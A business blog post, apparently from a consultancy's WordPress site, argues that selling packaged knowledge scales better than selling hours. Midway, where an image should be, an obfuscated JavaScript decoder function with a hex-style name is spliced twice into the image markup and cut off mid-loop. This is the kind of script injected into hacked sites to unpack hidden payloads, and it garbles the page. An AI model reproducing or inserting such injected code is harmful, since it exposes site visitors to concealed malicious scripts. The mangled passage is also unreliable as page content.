Will you sell your time or your knowledge?

One of the most important things you must figure out when you’re in business is what to offer.  Will you sell your time? Or will you sell your knowledge? There’s a difference.

When you’re working in an ‘hours-for-dollars’ model, you sell your time. Most people start out this way, charging by the hour. The problem is that there’s a limit to the number of hours you can work in a day. There’s no way to scale it and make more money. In order to make more money, you have to raise your prices (and that’s okay), but at some point, you’ll become too expensive for the people you want to serve. The revenue works like this: work, get paid; work, get paid; work, get paid.

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandyrees.com/wp-content/uploads/2014/03/bigstock-Businesswoman-With-Question-Ma-20598884.jpg">function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandyrees.com/wp-content/uploads/2014/03/bigstock-Businesswoman-With-Question-Ma-20598884-300x267.jpg" alt="" width="300" height="267" />
When you work in a ‘1-to-many’ model, you can package what you know into a format that people will pay for.  So instead of consulting with one client, you create a group program and help lots of clients at once. This works really well when you have many clients who are dealing with the same issues. We’ve created group programs for animal rescue groups, new nonprofits, and Habitat for Humanity affiliates. Group programs help us offer an affordable price for participants, while making it worth our time to create and deliver the program.

You can also sell your knowledge by creating and offering a product. You can write a book, record an audio, or shoot a video and put your knowledge into a package that others can consume at their leisure. This is scalable, because you can help dozens or hundreds of people at a time. The revenue works like this: work, get paid, get paid, get paid.

When you sell your time, you become a commodity that people can buy. Clients and prospects can get very focused on the number of hours they’re buying and ignore the results you’re helping them get. Ultimately, this doesn’t serve you or them, because they’re focused on the wrong thing. When clients stay tuned into the results they are trying to achieve or are achieving with your help, they’re happier, they’re easier to work with, and they become amazing case studies for you.

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